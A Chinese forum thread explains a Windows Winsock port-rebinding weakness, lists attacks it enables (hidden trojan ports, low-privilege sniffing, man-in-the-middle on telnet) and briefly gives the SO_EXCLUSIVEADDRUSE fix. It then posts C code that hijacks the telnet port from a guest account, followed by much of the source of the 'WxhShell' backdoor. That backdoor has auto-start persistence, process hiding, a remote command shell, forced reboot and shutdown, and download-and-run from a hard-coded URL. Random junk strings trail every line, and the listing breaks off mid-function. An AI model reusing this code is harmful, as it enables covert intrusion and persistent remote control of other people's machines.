社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9414阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W[DoQ @q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _F[a2PE2+  
WgR%mm^  
  saddr.sin_family = AF_INET; @OT$* Qh  
>Tl/3{V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); " ]G'^  
2;>uP#1]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =>c0NT  
GqsV 6kH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `3ha~+Goo!  
9-{+U,3)  
  这意味着什么?意味着可以进行如下的攻击: d9S?dx  
w=(dJ(7gu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;`pIq-=  
h_P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HLqN=vE6  
+,YK}?e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NY<qoV  
ktynIN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uwI"V|g%a&  
K]B`&ih  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |pBFmm*  
:TP4f ?FA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +{=U!}3|  
$eT[`r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ./3/3& 6  
(?'vT %  
  #include (_FeX22+  
  #include RAu(FJ  
  #include '[8w8,v(  
  #include    @<$m`^H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v)O].Hd  
  int main() W0mvwYON[  
  { h(AL\9{=}  
  WORD wVersionRequested; R"HV|Dm|m  
  DWORD ret; @8m%*pBg  
  WSADATA wsaData; =to.Oa RR  
  BOOL val; p|nPu*R-\  
  SOCKADDR_IN saddr; "{E%Y*  
  SOCKADDR_IN scaddr; ~"\v(\Pe  
  int err; Q'3tDc<  
  SOCKET s; Z]{=Jy !F  
  SOCKET sc; mDp8JNJNE  
  int caddsize; { g[kn^|  
  HANDLE mt; ndDF(qHr  
  DWORD tid;   "AXgT[ O  
  wVersionRequested = MAKEWORD( 2, 2 ); DAf@-~c  
  err = WSAStartup( wVersionRequested, &wsaData ); Q.jThP`p  
  if ( err != 0 ) { -wx~*  
  printf("error!WSAStartup failed!\n"); :%AEwRZ  
  return -1; C :sgT6  
  } %wru)  
  saddr.sin_family = AF_INET; G?LC!9MB  
   'lpCwH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WQN`y>1#@_  
?8s$RYp14  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5`e;l$ M`  
  saddr.sin_port = htons(23); ](n)bF+ym  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !PeSnO  
  { qhTVsZ:{C  
  printf("error!socket failed!\n"); XABP}|aWK  
  return -1; VuTTWBx  
  } HbPn<x^7  
  val = TRUE; ep},~tPZn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V8WSJ=-&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z*b l J5YC  
  { B>cT <B  
  printf("error!setsockopt failed!\n"); l+&DBw[  
  return -1; Zw{?^6;cS  
  } GNuIcy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j -"34  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +Tx_q1/f5X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `ItoL7bi  
V'dw=W17V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m##!sF^k~J  
  { KrG,T5  
  ret=GetLastError(); NhTJB7  
  printf("error!bind failed!\n"); >iG3!Td)y  
  return -1; -@]b7J?`k  
  } 6!itr"  
  listen(s,2); ]LxE#R5V  
  while(1) OJA_OqVp$K  
  { &M3KJ I0L  
  caddsize = sizeof(scaddr); yDZm)|<.  
  //接受连接请求 Fkpaou  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0:I<TJ~P  
  if(sc!=INVALID_SOCKET) #ucb  
  { jy>?+hm?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8b-mW>xsA  
  if(mt==NULL) }:$ot18  
  { NySa%7@CD  
  printf("Thread Creat Failed!\n"); #U w X~  
  break; :r "G Z  
  } ;-"q;&1e  
  } [lSQMoi3  
  CloseHandle(mt); fdwP@6eh  
  } +G"YQq'b  
  closesocket(s); |w#~v%w  
  WSACleanup(); QT!>izgc U  
  return 0; +C,/BuG  
  }   0,@^<G8?  
  DWORD WINAPI ClientThread(LPVOID lpParam) Svo\+S  
  { 6yAZvX  
  SOCKET ss = (SOCKET)lpParam; !kb:g]X  
  SOCKET sc; bd%< Jg+  
  unsigned char buf[4096]; I7=A!C"  
  SOCKADDR_IN saddr; ="vg/@.>i  
  long num; E>5p7=Or;"  
  DWORD val; |dqESl,2  
  DWORD ret; biw . ~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *[b>]GXd49  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   88S:E7 $  
  saddr.sin_family = AF_INET; Y}2Sr-@u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gE^pOn  
  saddr.sin_port = htons(23); 3 4%B0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^LB]  
  { z'1%%.r;FM  
  printf("error!socket failed!\n"); %*Mr ^=  
  return -1; :IJ<Mmb  
  } xz.M'az\  
  val = 100; 1+7_L`SB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) id8QagJ  
  { =)g}$r &<  
  ret = GetLastError(); /|}yf/^9X  
  return -1; !m-`~3P#l,  
  } .GNyA DQp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'PFjZGaKR  
  { q`L )^In"  
  ret = GetLastError(); Qmo}esb'(  
  return -1; #QcRN?s  
  } GRofOJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2&]LZ:(  
  { )Qe]!$tqfD  
  printf("error!socket connect failed!\n"); I 2OQ  
  closesocket(sc); 5cU:wc  
  closesocket(ss); =6=:OId  
  return -1; 's5rl  
  } ~QPTs1Vk8  
  while(1) B B69U  
  { -}!mi V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OX]P;#4tU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 BaIuOZ@,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s]kzXzRC?  
  num = recv(ss,buf,4096,0); c[ 0`8s!  
  if(num>0) +U_1B%e(%  
  send(sc,buf,num,0); gCG #?f  
  else if(num==0) 0} &/n>F  
  break; LdNpb;*  
  num = recv(sc,buf,4096,0);  s7:H  
  if(num>0) #Y   
  send(ss,buf,num,0); 6~W@$SP,F  
  else if(num==0) ~@-r  
  break; ybFxz  
  } h. ftl2>  
  closesocket(ss); ]W2#8:i  
  closesocket(sc); vp!F6ZwO  
  return 0 ; ZbdGI@  
  } w3>11bE  
?r8hl.Z>  
X?< L<:.  
========================================================== Qyx~={ .C~  
@b^$h:H  
下边附上一个代码,,WXhSHELL 4L{]!dox  
> 3(,s^  
========================================================== gg%)#0Zi  
oZ tCx  
#include "stdafx.h" whHuV*K}  
f>ktv76  
#include <stdio.h> n4+q7  
#include <string.h> U{[YCs fk  
#include <windows.h> vZ srlHb  
#include <winsock2.h> {}Is&^3Z  
#include <winsvc.h> aD'Ax\-  
#include <urlmon.h> #rBfp|b]1  
U2WHs3  
#pragma comment (lib, "Ws2_32.lib") [v*q%Mi_  
#pragma comment (lib, "urlmon.lib") !|u?z%  
|?g-8":H8P  
#define MAX_USER   100 // 最大客户端连接数 "gm5 DE  
#define BUF_SOCK   200 // sock buffer m9:ah<  
#define KEY_BUFF   255 // 输入 buffer SvvNk  
w <"mS*Q  
#define REBOOT     0   // 重启 &$_!S!Sa/  
#define SHUTDOWN   1   // 关机 +By'6?22  
dlCYdwP  
#define DEF_PORT   5000 // 监听端口 i}v.x  
oS9Od8  
#define REG_LEN     16   // 注册表键长度 ~ @xPoD&  
#define SVC_LEN     80   // NT服务名长度 .n YlYY'   
Y&Fg2_\">  
// 从dll定义API H7;, Kr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !-3;Qj}V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y \B6c^E)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z^as ?k(iM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); il !B={  
N_iy4W(NU  
// wxhshell配置信息 5<v1v&  
struct WSCFG { ^5TVm>F@3  
  int ws_port;         // 监听端口 q jc4IW t~  
  char ws_passstr[REG_LEN]; // 口令 C f d* Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~AX~z)  
  char ws_regname[REG_LEN]; // 注册表键名 GCO: !,1  
  char ws_svcname[REG_LEN]; // 服务名 `<>QKpAn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kI@<H<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IHd W!q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "P(obk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $rr@3H+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m26YAcip}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +>!nqp  
\$Wpt#V  
}; '=Lpch2J  
*kqC^2t  
// default Wxhshell configuration t? 6 et1~  
struct WSCFG wscfg={DEF_PORT, >jIn&s!}  
    "xuhuanlingzhe", _&S#;ni\c  
    1, FibZT1-k  
    "Wxhshell", Rky]F+J  
    "Wxhshell", V8B4e4F  
            "WxhShell Service", -6NoEmb)\'  
    "Wrsky Windows CmdShell Service", <n#X~}i)  
    "Please Input Your Password: ", vVa|E# [  
  1, 5~IdWwG*w  
  "http://www.wrsky.com/wxhshell.exe", m<>BxX  
  "Wxhshell.exe" P,'%$DLDg  
    }; _\tv ${  
(,QWK08  
// 消息定义模块 !\BZ_guz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YJ"D"QD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JVy|SA&R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0<~~0US  
char *msg_ws_ext="\n\rExit."; ?-mOAHW0q  
char *msg_ws_end="\n\rQuit."; \ DZ.#=d  
char *msg_ws_boot="\n\rReboot..."; MSvZ3[5Io  
char *msg_ws_poff="\n\rShutdown..."; s*yl& El/  
char *msg_ws_down="\n\rSave to "; +#BOWz  
^ `Ozw^~  
char *msg_ws_err="\n\rErr!"; t&{;6MiE  
char *msg_ws_ok="\n\rOK!"; \-;f<%+  
GVnDN~[  
char ExeFile[MAX_PATH]; 3lpxh_  
int nUser = 0; 0`c{9gY.  
HANDLE handles[MAX_USER]; 2y^:T'p  
int OsIsNt; -2J37   
miQ*enZi  
SERVICE_STATUS       serviceStatus; -NN=(p!<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (iir,Ks2C  
k"&o)*d  
// 函数声明 TK\3mrEI  
int Install(void); ' :B;!3a0d  
int Uninstall(void); -~ ~h1  
int DownloadFile(char *sURL, SOCKET wsh); +@3+WD  
int Boot(int flag); %wOkp`1-  
void HideProc(void); HFy9b|pjy  
int GetOsVer(void); 1r$-Uh  
int Wxhshell(SOCKET wsl); iUR ij@  
void TalkWithClient(void *cs); YFB>GQ;  
int CmdShell(SOCKET sock); }5oI` 9VT  
int StartFromService(void); Uz!3){E  
int StartWxhshell(LPSTR lpCmdLine); Jk\-e`eE  
#d\&6'O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S5 q1M n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3_XLx{["'  
s)qrlv5H  
// 数据结构和表定义 jmr .gW  
SERVICE_TABLE_ENTRY DispatchTable[] = .UL 2(0  
{ >iOf3I-ATt  
{wscfg.ws_svcname, NTServiceMain}, <nbk lo  
{NULL, NULL} EyPJ Jc8  
}; V2T% tn;rp  
JXU ?'@QY  
// 自我安装 ,k4pW&A  
int Install(void) oxc;DfJ_  
{ PJN9[Y{^3  
  char svExeFile[MAX_PATH]; ;HXk'xN  
  HKEY key; 0!dNW,NfJ  
  strcpy(svExeFile,ExeFile); o6O-\d7^M  
k"i3$^v8  
// 如果是win9x系统,修改注册表设为自启动 \vT~2Y(K  
if(!OsIsNt) { z&d.YO_W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iVZ}+Ct<"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xE?KJ  
  RegCloseKey(key); zs#-E_^%M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e3;D1@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \Yr*x7!  
  RegCloseKey(key); d%'#-w'  
  return 0; B0Wf$ s^7t  
    } v~L\[&|_  
  } FJ~d&L\l  
} /&#y-D_  
else { I{(!h90  
lgU!D |v  
// 如果是NT以上系统,安装为系统服务 BVb^xL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LsERcjwwK  
if (schSCManager!=0) ^ l]!'"  
{ o( zez  
  SC_HANDLE schService = CreateService *FC8=U2\X  
  ( St%x\[D  
  schSCManager, "crR{OjE"  
  wscfg.ws_svcname, T/P\j0hR  
  wscfg.ws_svcdisp, q\o#<'F1J  
  SERVICE_ALL_ACCESS, AEyD?^?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x7zc3%T's  
  SERVICE_AUTO_START, ]z^jz#>um&  
  SERVICE_ERROR_NORMAL, cl^UFl f[  
  svExeFile, V[/9?5pM  
  NULL, 06.%9R{  
  NULL, N+c|0  
  NULL, q%;cu1^"M  
  NULL, qK%N{ro[{?  
  NULL xQvI$vP  
  ); _j , Tc*T  
  if (schService!=0) "H(3pl.  
  { cDz@3So.b  
  CloseServiceHandle(schService); n?r8ZDJ'  
  CloseServiceHandle(schSCManager); pwfQqPC#_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }5vKQf   
  strcat(svExeFile,wscfg.ws_svcname); 4%r?(C0x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -1Li&K7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZSQiQ2\)  
  RegCloseKey(key); Sr6'$8#>Y  
  return 0; fL2P6N@  
    } !ZUUn*e{5  
  } |(%<FY$  
  CloseServiceHandle(schSCManager); t^":.}[Q  
} D|ze0A@  
} o!UB x<4  
/(s |'"6  
return 1; Q"FN"uQ}x  
} ivo><"Y(r  
M 8WjqTq  
// 自我卸载 *x2!N$b  
int Uninstall(void) fs#9~b3  
{ :.g/=Q(T~  
  HKEY key; 8`+=~S  
o4FHR+u<M  
if(!OsIsNt) { F!#)l*OX;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { im &N &A  
  RegDeleteValue(key,wscfg.ws_regname); Zt9G[[]  
  RegCloseKey(key); D*-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /W,hOv  
  RegDeleteValue(key,wscfg.ws_regname); 0j!<eN=  
  RegCloseKey(key); _WWC8?6 U  
  return 0; 3:jxr  
  } jnp~ACN,  
} W'vekuM  
} $||WI}k3V  
else { p4z4[=-:  
*]yrN`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?+hEs =Xs  
if (schSCManager!=0) |k6+- 1~_  
{ N/0aO^"V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J8Wits]A]$  
  if (schService!=0) QY)p![6Fj  
  { Nxe1^F33  
  if(DeleteService(schService)!=0) { PzKTEYJL  
  CloseServiceHandle(schService); u|IS7>Sm  
  CloseServiceHandle(schSCManager); `"CA$Se8  
  return 0; FA-cTF[,(  
  } K]$PRg1| 3  
  CloseServiceHandle(schService); ^O7sQ7V"f=  
  } 87!jn'A  
  CloseServiceHandle(schSCManager); dnD@BQ  
} >|%3j,<U  
} [6l0|Y  
F;#$Q  
return 1; Fya*[)HBo  
} A;rk4)lij  
Rf4K Rhi  
// 从指定url下载文件 Fvk=6$d2  
int DownloadFile(char *sURL, SOCKET wsh) %|H]T] s  
{ ((]i}s0S  
  HRESULT hr; [(*Eg!?W=  
char seps[]= "/"; Y(6ev o&IR  
char *token; E}9wzPs  
char *file; mF@7;dpr  
char myURL[MAX_PATH]; Nxt:U{`T'  
char myFILE[MAX_PATH]; _}p [(sTV  
>+7{PF+sB  
strcpy(myURL,sURL); ] hK}ASC  
  token=strtok(myURL,seps); %7mGMa/  
  while(token!=NULL) n32"cFPpT  
  { Rnwm6nu  
    file=token; (Nc~l ^a  
  token=strtok(NULL,seps); Vc5>I_   
  } ^*fD  
}d; 2[fR)  
GetCurrentDirectory(MAX_PATH,myFILE); \ejHM}w3,  
strcat(myFILE, "\\"); tm5{h{AM  
strcat(myFILE, file); rVP\F{Q4Tr  
  send(wsh,myFILE,strlen(myFILE),0); rAP="H<  
send(wsh,"...",3,0); c6i7f:'-0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v*Gd=\88  
  if(hr==S_OK) >Du=(pB  
return 0; fD[O tc  
else OcV,pJ  
return 1; eef&ZL6g  
t!3s@  
} O#;sY`fy_M  
Zfk]Z9YO  
// 系统电源模块 9Zd\6F,  
int Boot(int flag) B0|W  
{ QBGm)h?=  
  HANDLE hToken; $i+@vbU6  
  TOKEN_PRIVILEGES tkp; dz+!yE\f$  
RdD>&D$I  
  if(OsIsNt) { `,SL\\%u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); giu{,gS0?M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E`_T_O=P  
    tkp.PrivilegeCount = 1; B /uaRi%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %C`P7&8m=O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N,lr~ 6)  
if(flag==REBOOT) { F<{,W-my `  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Az y`4  
  return 0; .g}N@  
} )e5=<'f 1  
else { nG4ZOx.*1g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mWZP.w^-  
  return 0; 'i$. _Tx  
} gk| % 4.  
  } pnSKIn  
  else { ?WXftzdf6u  
if(flag==REBOOT) { ;SI (5rS?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eEBNO*2  
  return 0; OF`J{`{r  
} xz0t8`N oN  
else { c=+%][21  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V~*>/2+  
  return 0; (U# ,;  
} G@Z%[YNw  
} .n8O 3V  
+&)/dHbL`]  
return 1; #z>I =gl  
} Pl/Xh03E  
/7"V~c6  
// win9x进程隐藏模块 0IqGy}+VU  
void HideProc(void) d6*84'|!  
{ >6yQuB  
^G`6Zg;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l4i 51S"  
  if ( hKernel != NULL ) GdUsv  
  { Wap4:wT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {.kIC@^O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }Fu1Y@M%  
    FreeLibrary(hKernel); Kd 1=mC  
  } 3'x>$5 W  
v@Eb[7Kq/1  
return; 6M&ajl`o  
} PEEaNOk 1b  
A z@@0  
// 获取操作系统版本 :|kO}NGM  
int GetOsVer(void) ]QR]#[Tn'  
{ QAx9W%  
  OSVERSIONINFO winfo; xP~GpVhLF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ds+K7B$  
  GetVersionEx(&winfo); \( V1-,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I,#E`)  
  return 1; i[9gcL"  
  else @,1_CqV  
  return 0; @` Pn<_L  
} `lE&:)  
I~F&@  
// 客户端句柄模块 ,nL~?h-Zh  
int Wxhshell(SOCKET wsl) j[i*;0) |  
{ p5E okh  
  SOCKET wsh; !yj1X Ar  
  struct sockaddr_in client;  ij:a+T  
  DWORD myID; @C@9Tw2Y  
QyL]-zNg  
  while(nUser<MAX_USER) oy jkk  
{ j?*n@'   
  int nSize=sizeof(client); $!. [R}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r4[=pfe25  
  if(wsh==INVALID_SOCKET) return 1; 1lIs jBo g  
IY6Ll6OK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X%s5D&gr  
if(handles[nUser]==0) wN'S+4  
  closesocket(wsh); n:4 0T1: q  
else ,=CipL9]  
  nUser++; \?v&JmEU  
  } qspGNu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p/_W*0/i  
A@|Z^T:  
  return 0; ^_v94!a 9  
} P=EZ6<c3&  
Gi-pi=#&cs  
// 关闭 socket Ht+roY  
void CloseIt(SOCKET wsh) R5QW4i9  
{ 2|\mBP`ok  
closesocket(wsh); I`XOvSO  
nUser--; -"ZNkC =  
ExitThread(0); V^FM-bg%9  
} 6{i0i9Tb  
u,iiS4'Ze  
// 客户端请求句柄 "JmbYb#Z  
void TalkWithClient(void *cs) yxx_%9X  
{ s1]Pv/a=y  
z)KoK`\mE"  
  SOCKET wsh=(SOCKET)cs; h(nE)j  
  char pwd[SVC_LEN]; s[{8:Px  
  char cmd[KEY_BUFF]; Ay6T*Nu`  
char chr[1]; 9nQyPb6  
int i,j; A4l"^dZc  
_:Q^mV=;j  
  while (nUser < MAX_USER) { }P%gwgPK  
q*R~gEi#yk  
if(wscfg.ws_passstr) { i/ o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `2U,#nZ 4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V9< E `C  
  //ZeroMemory(pwd,KEY_BUFF); a9lYX*:  
      i=0; Bi fI.2|  
  while(i<SVC_LEN) { 7ojh=imY  
=3hJti9[  
  // 设置超时 M.5F|7  
  fd_set FdRead; sCy.i/y  
  struct timeval TimeOut; YRZw|H{>t  
  FD_ZERO(&FdRead); F ! v01]O  
  FD_SET(wsh,&FdRead); 4`v[p4k  
  TimeOut.tv_sec=8; ;;UsHhbhI  
  TimeOut.tv_usec=0; IuPDr %  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b*| ?7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |1ry*~  
(*eX'^Q)d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rA<J^dX=C  
  pwd=chr[0]; :FSg%IUX  
  if(chr[0]==0xd || chr[0]==0xa) { :W&kl UU"  
  pwd=0; GPAC0K^p  
  break; H"pYj  
  } }T902RL0  
  i++; vQXF$/S  
    } myXGMN$i  
Jt8M;Yk  
  // 如果是非法用户,关闭 socket P >0S ZP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Brg0:5H   
} ]lJ#|zd8o  
>oy%qLHe~t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )rA\+XT7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gg6cjc=dC  
$+e(k~  
while(1) { {3vm]  
Rbm+V{EF&  
  ZeroMemory(cmd,KEY_BUFF); ' )F@em  
lKI]q<2  
      // 自动支持客户端 telnet标准   ,trh)ZZYW|  
  j=0; \iEJ9V  
  while(j<KEY_BUFF) { ZKI` ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PK?}hz  
  cmd[j]=chr[0]; D0f7I:i1  
  if(chr[0]==0xa || chr[0]==0xd) { S#+ _HFUK{  
  cmd[j]=0; .*EP$pc  
  break; (#je0ES  
  } .q]K:}9!\  
  j++; IP !zg|c,  
    } IMSm  
QKz2ONV=)  
  // 下载文件 Q(8W5Fb?  
  if(strstr(cmd,"http://")) { c$A}mL_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6x;"T+BSSS  
  if(DownloadFile(cmd,wsh)) ?1]B(V9nBq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,aWfGh#$  
  else nYRD>S?uz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <N 80MU L|  
  } g5Hsz,x  
  else { `~=Is.V[  
S9/\L6Rmf  
    switch(cmd[0]) { DML0paOm5  
  P#A|Pn<p  
  // 帮助 8r\xQr'8h  
  case '?': { . 55aY~We  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Yic'p0< ?V  
    break; -IV-"-6(  
  } AQ.q?'vE)  
  // 安装 0XIrEwm@%  
  case 'i': { gAi}"} ;  
    if(Install()) r:^`005  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lgAE`Os  
    else W\DJXM]b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A@k=Mk  
    break; >W8PLo+i  
    } oDA'}[/  
  // 卸载 JR_c]AQYu  
  case 'r': { L?y,xA_  
    if(Uninstall())  [7)#3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wVs|mG"  
    else  -gS/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]}0+7Q  
    break; / dn]`Ge)  
    } R91u6r#  
  // 显示 wxhshell 所在路径 D3 E!jQ1  
  case 'p': { t;ga>^NA"  
    char svExeFile[MAX_PATH]; s{j3F  
    strcpy(svExeFile,"\n\r"); zwHTtE  
      strcat(svExeFile,ExeFile); `Sj8<O}  
        send(wsh,svExeFile,strlen(svExeFile),0); naB[0I& N  
    break; =WP}RZ{S  
    } WHF:> 0B  
  // 重启 2,%ne(  
  case 'b': { ]gj@r[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .^1=*j(;  
    if(Boot(REBOOT)) :Ws3+OI'm3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qdu:kA:]  
